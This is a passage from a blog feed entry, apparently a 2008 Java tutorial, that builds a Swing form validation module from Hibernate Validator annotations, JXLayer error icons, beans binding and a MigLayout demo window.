href="http://3.bp.blogspot.com/_kE1wl-BJf90/SIBqgMo4shI/AAAAAAAAAAM/SMNf6l7bfw8/s1600-h/image002.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_kE1wl-BJf90/SIBqgMo4shI/AAAAAAAAAAM/SMNf6l7bfw8/s320/image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5224292669130846738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;All needed jar files can be got from the lib folder in the attached netbeans project.&lt;br /&gt;&lt;br /&gt;Third, create a bean. I choose a sample bean for presenting a Country. The code looks like this:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="java"&gt;&lt;br /&gt;package de.jingge.domain;&lt;br /&gt;&lt;br /&gt;import javax.persistence.Entity;&lt;br /&gt;import javax.persistence.GeneratedValue;&lt;br /&gt;import javax.persistence.GenerationType;&lt;br /&gt;import javax.persistence.Id;&lt;br /&gt;import org.hibernate.validator.Length;&lt;br /&gt;import org.hibernate.validator.NotEmpty;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;*&lt;br /&gt;* @author Jing Ge &lt;br /&gt;*/&lt;br /&gt;@Entity&lt;br /&gt;public class Country extends AbstractBean {&lt;br /&gt;&lt;br /&gt;private static final long serialVersionUID = 5341382564159667599L;&lt;br /&gt;public static final String PROPERTYNAME_NAME = "name";&lt;br /&gt;public static final String PROPERTYNAME_CODE = "code";&lt;br /&gt;private String name;&lt;br /&gt;private String code;&lt;br /&gt;private Long id;&lt;br /&gt;&lt;br /&gt;public Country() {&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public Country(String code, String name) {&lt;br /&gt;    super();&lt;br /&gt;    setCode(code);&lt;br /&gt;    setName(name);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;@Id&lt;br /&gt;@GeneratedValue(strategy = GenerationType.AUTO)&lt;br /&gt;public Long getId() {&lt;br /&gt;    return id;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void setId(Long id) {&lt;br /&gt;    this.id = id;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;@NotEmpty&lt;br /&gt;public String getName() {&lt;br /&gt;    return name;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void setName(String name) {&lt;br /&gt;    firePropertyChange(PROPERTYNAME_NAME, this.name, this.name = name);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;@Length(min=2, max= 2, message="Code length must be 2")&lt;br /&gt;@NotEmpty&lt;br /&gt;public String getCode() {&lt;br /&gt;    return code;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void setCode(String code) {&lt;br /&gt;    firePropertyChange(PROPERTYNAME_CODE, this.code, this.code = code);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nothing difficult, The Country class is just a java bean class. It has two properties: code and name. Each property has its own validation annotation. The code should be not empty and its length should be 2 and the name should not be empty. Since most applications are working with database, a persistence bean is used here, but it is not mandatory. Hibernate validator works pretty well with normal pojo class.&lt;br /&gt;&lt;br /&gt;The parent class AbstractBean comes from the framework Swingx. Extending the AbstractBean will let the Country support property change event.&lt;br /&gt;&lt;br /&gt;Now we can begin writing the code for our validation module.&lt;br /&gt;&lt;br /&gt;In my validation module, I will use the jxlayer to show the icon when the validation failed. For understanding the following description better, you should understand the jxlayer first. You can find all information about the jxlayer here: &lt;a href="http://weblogs.java.net/blog/alexfromsun/"&gt;http://weblogs.java.net/blog/alexfromsun/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The JXlayer is an amazing new JComponent built by Alexander Potochkin. All painting events that the JXLayer gets will be delegated to the UI class. That means what we should do is just creating a new UI class: HibernateValidationUI.java and call the hibernate validation when the gui component is (re)painted. This UI class is based on the  TextValidationDemo from the jxlayer's demo package. The code looks like this (I will explain it step by step):&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre name="code" class="java"&gt;&lt;br /&gt;package de.jingge.view;&lt;br /&gt;&lt;br /&gt;import java.awt.Graphics2D;&lt;br /&gt;import java.awt.image.BufferedImage;&lt;br /&gt;&lt;br /&gt;import javax.swing.BorderFactory;&lt;br /&gt;import javax.swing.JComponent;&lt;br /&gt;import javax.swing.text.JTextComponent;&lt;br /&gt;&lt;br /&gt;import org.hibernate.validator.ClassValidator;&lt;br /&gt;import org.hibernate.validator.InvalidValue;&lt;br /&gt;import org.jdesktop.beansbinding.ELProperty;&lt;br /&gt;import org.jdesktop.beansbinding.PropertyStateEvent;&lt;br /&gt;import org.jdesktop.beansbinding.PropertyStateListener;&lt;br /&gt;import org.jdesktop.jxlayer.JXLayer;&lt;br /&gt;import org.jdesktop.jxlayer.plaf.AbstractLayerUI;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Header:&lt;br /&gt;* Description: A layerUI which will validate the referenced property value of&lt;br /&gt;* the object each time when the paint(...) method is called.&lt;br /&gt;&lt;br /&gt;* The value of the given object property will be observed.&lt;br /&gt;* Note: This UI works only with {@link JXLayer}. Any change of the property&lt;br /&gt;* will force repainting the UI. The work process looks like: property changed -&gt;&lt;br /&gt;* jxlayer will be repainted -&gt; the paint(...) method of this UI will be called.&lt;br /&gt;* The logic of validation will be handled by the Hibernate validator&lt;br /&gt;* framework.&lt;br /&gt;*&lt;br /&gt;* @author Jing Ge &lt;br /&gt;*/&lt;br /&gt;public class HibernateValidationUI extends AbstractLayerUI&amp;lt;jTextComponent&amp;gt; {&lt;br /&gt;&lt;br /&gt;private Object object;&lt;br /&gt;private String propertyName;&lt;br /&gt;private ClassValidator validator;&lt;br /&gt;private ELProperty elProperty;&lt;br /&gt;private PropertyStateListener propertyChangeHandler;&lt;br /&gt;&lt;br /&gt;public HibernateValidationUI(Object obj, String propertyName) {&lt;br /&gt;    this.object = obj;&lt;br /&gt;    this.propertyName = propertyName;&lt;br /&gt;    propertyChangeHandler = new PropertyChangeHandler();&lt;br /&gt;    validator = new ClassValidator(obj.getClass());&lt;br /&gt;&lt;br /&gt;    elProperty = ELProperty.create("${" + propertyName + "}");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void installUI(JComponent c) {&lt;br /&gt;    super.installUI(c);&lt;br /&gt;    elProperty.addPropertyStateListener(object, propertyChangeHandler);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void uninstallUI(JComponent c) {&lt;br /&gt;    super.uninstallUI(c);&lt;br /&gt;    elProperty.removePropertyStateListener(object, propertyChangeHandler);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;protected void paintLayer(Graphics2D g2, JXLayer&amp;lt;jTextComponent&amp;gt; l) {&lt;br /&gt;    super.paintLayer(g2, l);&lt;br /&gt;    InvalidValue[] validationMessages = validator.getInvalidValues(object,&lt;br /&gt;            propertyName);&lt;br /&gt;    if (validationMessages.length &gt; 0) {&lt;br /&gt;        BufferedImage image = Java2DIconFactory.createErrorIcon();&lt;br /&gt;        g2.drawImage(image, l.getWidth() - image.getWidth() - 1,&lt;br /&gt;                l.getHeight() - 8, null);&lt;br /&gt;        l.getView().setToolTipText(validationMessages[0].getMessage());&lt;br /&gt;&lt;br /&gt;        return;&lt;br /&gt;    }&lt;br /&gt;    l.getView().setToolTipText(null);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;boolean isValid() {&lt;br /&gt;    return validator.getInvalidValues(object, propertyName).length == 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class PropertyChangeHandler implements PropertyStateListener {&lt;br /&gt;&lt;br /&gt;    @Override&lt;br /&gt;    public void propertyStateChanged(PropertyStateEvent pse) {&lt;br /&gt;        setDirty(true);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The HibernateValidationUI have only one constructor, which need two parameters. The first parameter obj means the source object that will be edited, i.e. the java bean. The second parameter propertyName is the name of the property which is bound to the gui component which is managed by the jxlayer (if you don’t understand the relationship between the gui component and the jxlayer, please read the jxlayer source code).&lt;br /&gt;&lt;br /&gt;The propertyChangeHandler will call setDirty(true) of the UI class each time the property of the given object is changed. Calling the setDirty(true) method will change the state of the jxlayer(if the jxlayer was not dirty) and this will force jxlayer to repaint itself, which means the UI class will be repainted, because the call will be delegated from the jxlayer to the UI class.&lt;br /&gt;&lt;br /&gt;The validator is a new instance of the hibernate ClassValidator. It will be used later for doing the real validation logic.&lt;br /&gt;&lt;br /&gt;The elProperty will be used with the propertyChangeHandler together for observing the change of the property.&lt;br /&gt;&lt;br /&gt;The installUI(JComponent c) method will be called when layer.setUI(ui) is called. Here&lt;br /&gt;We add the propertyChangeHandler with the given source object into the elProperty. This means the change of the property will be observed after the jxlayer is instantiated.&lt;br /&gt;&lt;br /&gt;To avoid adding more than one propertyChangHandler, we will call removing the propertyChangeHandler in the uninstallUI(JComponent c) method.&lt;br /&gt;&lt;br /&gt;The paintLayer(Graphics2D g2, JXLayer&amp;lt;jTextComponent&amp;gt; l) method contains the most import code for this validation module. We will first call the validation logic of the hibernate validator and get the validation result: the validationMessages. After that, we will check whether the value of the property is valid, if not (the validationMessages is not empty), an error icon will be shown and the first validation message will be shown as tooltips. (Of cause, you can show all validation messages, if want).&lt;br /&gt;&lt;br /&gt;The used class Java2DIconFactory looks like this:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="java"&gt;&lt;br /&gt;package de.jingge.view;&lt;br /&gt;&lt;br /&gt;import java.awt.Color;&lt;br /&gt;import java.awt.Graphics2D;&lt;br /&gt;import java.awt.RenderingHints;&lt;br /&gt;import java.awt.image.BufferedImage;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;*&lt;br /&gt;* @author &lt;br /&gt;*/&lt;br /&gt;public class Java2DIconFactory {&lt;br /&gt;&lt;br /&gt;public static BufferedImage createErrorIcon() {&lt;br /&gt;    return createErrorIcon(7, 8);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public static BufferedImage createErrorIcon(int width, int height) {&lt;br /&gt;    BufferedImage icon = new BufferedImage(width, height,&lt;br /&gt;            BufferedImage.TYPE_INT_ARGB);&lt;br /&gt;    Graphics2D g2 = (Graphics2D) icon.getGraphics();&lt;br /&gt;    g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING,&lt;br /&gt;            RenderingHints.VALUE_ANTIALIAS_ON);&lt;br /&gt;    g2.setRenderingHint(RenderingHints.KEY_STROKE_CONTROL,&lt;br /&gt;            RenderingHints.VALUE_STROKE_PURE);&lt;br /&gt;    g2.setColor(Color.RED);&lt;br /&gt;    g2.fillRect(0, 0, width, height);&lt;br /&gt;    g2.setColor(Color.WHITE);&lt;br /&gt;    g2.drawLine(0, 0, width, height);&lt;br /&gt;    g2.drawLine(0, height, width, 0);&lt;br /&gt;    g2.dispose();&lt;br /&gt;    return icon;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now we need a new Factory for creating (or maybe better call it building) a gui component, which can be used in the application for editing the object. The factory looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="java"&gt;&lt;br /&gt;package de.jingge.view;&lt;br /&gt;&lt;br /&gt;import javax.swing.JTextField;&lt;br /&gt;import javax.swing.text.JTextComponent;&lt;br /&gt;import org.jdesktop.beansbinding.AutoBinding;&lt;br /&gt;import org.jdesktop.beansbinding.BeanProperty;&lt;br /&gt;import org.jdesktop.beansbinding.BindingGroup;&lt;br /&gt;import org.jdesktop.beansbinding.Bindings;&lt;br /&gt;import org.jdesktop.beansbinding.ELProperty;&lt;br /&gt;import org.jdesktop.jxlayer.JXLayer;&lt;br /&gt;import static org.jdesktop.beansbinding.AutoBinding.UpdateStrategy.*;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;*&lt;br /&gt;* @author Jing Ge &lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;public class GuiComponentFactory {&lt;br /&gt;&lt;br /&gt;public static JXLayer&amp;lt;jTextComponent&amp;gt; createTextField(&lt;br /&gt;        BindingGroup bindingGroup, Object sourceObject,&lt;br /&gt;        String sourceProperty) {&lt;br /&gt;    JTextField field = new JTextField();&lt;br /&gt;    AutoBinding binding = Bindings.createAutoBinding(READ_WRITE,&lt;br /&gt;            sourceObject, ELProperty.create("${" + sourceProperty + "}"),&lt;br /&gt;            field, BeanProperty.create("text"));&lt;br /&gt;    bindingGroup.addBinding(binding);&lt;br /&gt;    bindingGroup.bind();&lt;br /&gt;    return new JXLayer&amp;lt;jTextComponent&amp;gt;(field, new HibernateValidationUI(&lt;br /&gt;            sourceObject, sourceProperty));&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;In the craeteTextField() method, we create a JTextField, bind it with the property of the given object and return a jxlayer, which contains the HibernateValidationUI object and manage the created JTextField. You can find more information about beans binding here: &lt;a href="http://weblogs.java.net/blog/shan_man/"&gt;http://weblogs.java.net/blog/shan_man/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Until now, we have finished all code what we need for a validation module. Now let’s build a demo application:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="java"&gt;&lt;br /&gt;package de.jingge.main;&lt;br /&gt;&lt;br /&gt;import de.jingge.domain.Country;&lt;br /&gt;import java.awt.BorderLayout;&lt;br /&gt;import java.awt.Dimension;&lt;br /&gt;import java.awt.Toolkit;&lt;br /&gt;import javax.swing.JFrame;&lt;br /&gt;import javax.swing.JLabel;&lt;br /&gt;import javax.swing.JPanel;&lt;br /&gt;import javax.swing.UIManager;&lt;br /&gt;import javax.swing.UnsupportedLookAndFeelException;&lt;br /&gt;import javax.swing.text.JTextComponent;&lt;br /&gt;import net.miginfocom.swing.MigLayout;&lt;br /&gt;import org.jdesktop.beansbinding.BindingGroup;&lt;br /&gt;import org.jdesktop.jxlayer.JXLayer;&lt;br /&gt;import static de.jingge.view.GuiComponentFactory.*;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;*&lt;br /&gt;* @author Jing Ge &lt;br /&gt;*/&lt;br /&gt;public class ValidationApplicaton {&lt;br /&gt;&lt;br /&gt;private BindingGroup bg;&lt;br /&gt;private Country country;&lt;br /&gt;private JXLayer&amp;lt;jTextComponent&amp;gt; codeField;&lt;br /&gt;private JXLayer&amp;lt;jTextComponent&amp;gt; nameField;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * @param args the command line arguments&lt;br /&gt; */&lt;br /&gt;public static void main(String[] args) {&lt;br /&gt;    try {&lt;br /&gt;        UIManager.setLookAndFeel(&lt;br /&gt;                "com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");&lt;br /&gt;    } catch (UnsupportedLookAndFeelException ex) {&lt;br /&gt;        System.err.println(&lt;br /&gt;                "Nimbus L&amp;amp;F does not support. Default L&amp;amp;F will be used.");&lt;br /&gt;    } catch (ClassNotFoundException e) {&lt;br /&gt;        // TODO Auto-generated catch block&lt;br /&gt;        e.printStackTrace();&lt;br /&gt;    } catch (InstantiationException e) {&lt;br /&gt;        // TODO Auto-generated catch block&lt;br /&gt;        e.printStackTrace();&lt;br /&gt;    } catch (IllegalAccessException e) {&lt;br /&gt;        // TODO Auto-generated catch block&lt;br /&gt;        e.printStackTrace();&lt;br /&gt;    }&lt;br /&gt;    ValidationApplicaton app = new ValidationApplicaton();&lt;br /&gt;    JFrame frame = new JFrame("Demo Validation Application");&lt;br /&gt;    frame.setPreferredSize(new Dimension(360, 150));&lt;br /&gt;    frame.getContentPane().add(app.buildPanel(), BorderLayout.CENTER);&lt;br /&gt;    frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);&lt;br /&gt;    setCenter(frame);&lt;br /&gt;    frame.setVisible(true);&lt;br /&gt;    frame.pack();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;private static void setCenter(JFrame frame) {&lt;br /&gt;    Toolkit toolkit = Toolkit.getDefaultToolkit();&lt;br /&gt;    Dimension screenSize = toolkit.getScreenSize();&lt;br /&gt;&lt;br /&gt;    // Calculate the frame location&lt;br /&gt;    int x = (screenSize.width - (int) frame.getPreferredSize().getWidth()) / 2;&lt;br /&gt;    int y = (screenSize.height - (int) frame.getPreferredSize().getHeight()) / 2;&lt;br /&gt;&lt;br /&gt;    // Set the new frame location&lt;br /&gt;    frame.setLocation(x, y);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public ValidationApplicaton() {&lt;br /&gt;    country = new Country();&lt;br /&gt;    bg = new BindingGroup();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;private JPanel buildPanel() {&lt;br /&gt;&lt;br /&gt;    codeField = createTextField(bg, country, Country.PROPERTYNAME_CODE);&lt;br /&gt;    nameField = createTextField(bg, country, Country.PROPERTYNAME_NAME);&lt;br /&gt;    JPanel panel = new JPanel(new MigLayout("",&lt;br /&gt;            "[50px, right]10[200px:250px:300px]", "[center]"));&lt;br /&gt;    panel.add(new JLabel("Code:"), "cell 0 0");&lt;br /&gt;    panel.add(codeField, "cell 1 0, w 200px:250px:300px");&lt;br /&gt;    panel.add(new JLabel("Name:"), "cell 0 1");&lt;br /&gt;    panel.add(nameField, "cell 1 1, w 200px:250px:300px");&lt;br /&gt;    return panel;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;In the main() method, we create a new JFrame and add the panel to it.&lt;br /&gt;&lt;br /&gt;The setCenter(JFrame frame) method will set the frame on the center of the screen.&lt;br /&gt;&lt;br /&gt;In the constructor new Country and BindingGroup instances will be created.&lt;br /&gt;&lt;br /&gt;In the buildPanel() method we use the MigLayout for building a panel, which contains two text field for edit the code and name of the country. You can get more information about MigLayout here: &lt;a href="http://www.miglayout.com/"&gt;http://www.miglayout.com&lt;/a&gt;/&lt;br /&gt;&lt;br /&gt;Run the application, a window will be shown likes this:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kE1wl-BJf90/SIBsALelM7I/AAAAAAAAAAU/LTR5E4GXK5k/s1600-h/image003.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_kE1wl-BJf90/SIBsALelM7I/AAAAAAAAAAU/LTR5E4GXK5k/s320/image003.png" alt="" id="BLOGGER_PHOTO_ID_5224294318086632370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Since the Country class is annotated by the hibernate validation annotation, the empty code and name are invalid. The error icons are shown. If you move your mouse over the text field, you will get the validation message, which will tell your how to make it valid.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kE1wl-BJf90/SIBsNdzmsxI/AAAAAAAAAAc/Wr1c-XSws8E/s1600-h/image006.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_kE1wl-BJf90/SIBsNdzmsxI/AAAAAAAAAAc/Wr1c-XSws8E/s320/image006.jpg" alt="" id="BLOGGER_PHOTO_ID_5224294546344948498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After enter correct information, all error icons will disappear, like the following picture shows:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kE1wl-BJf90/SIBsYfl8BwI/AAAAAAAAAAk/9GjuWe16qvc/s1600-h/image007.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_kE1wl-BJf90/SIBsYfl8BwI/AAAAAAAAAAk/9GjuWe16qvc/s320/image007.png" alt="" id="BLOGGER_PHOTO_ID_5224294735803057922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The benefit of using this validation module:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;No code anymore for normal validation. Add the validation annotation like @NotEmpty, @Email etc. to you domain models, value objects, or some other POJOs. The properties will be validated in the GUI automatically. Developer does not need to write any code.&lt;/li&gt;&lt;li&gt;If you use Hibernate as ORM, this should be one of the best solutions. The cost of writing validation will be reduced extraordinarily.&lt;/li&gt;&lt;li&gt;For more complex validation you can follow the hibernate validator extension. It is incredible easy thanks to the hibernate validator. What you need to do is just writing two classes: One is the annotation and the other is the concrete validator. You can find a introduction about the extension here: &lt;a href="http://www.hibernate.org/hib_docs/validator/reference/en/html/validator-defineconstraints.html#validator-defineconstraints-own"&gt;http://www.hibernate.org/hib_docs/validator/reference/en/html/validator-defineconstraints.html#validator-defineconstraints-own&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Oh, I can not upload the project! I will try another way later. Guy, who wants to get the netbeans project, please contact me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7651160756792394744-730889256862118654?l=polygoncell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polygoncell.blogspot.com/feeds/730889256862118654/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7651160756792394744&amp;postID=730889256862118654' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/730889256862118654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/730889256862118654'/><link rel='alternate' type='text/html' href='http://polygoncell.blogspot.com/2008/07/validation-module-for-swing-application.html' title='Common Validation Module for Swing Application'/><author><name>JingGe</name><uri>http://www.blogger.com/profile/14421783975563206833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kE1wl-BJf90/SIBqgMo4shI/AAAAAAAAAAM/SMNf6l7bfw8/s72-c/image002.jpg' height='72' width='72'/><thr:total>20</thr:total></entry></feed>
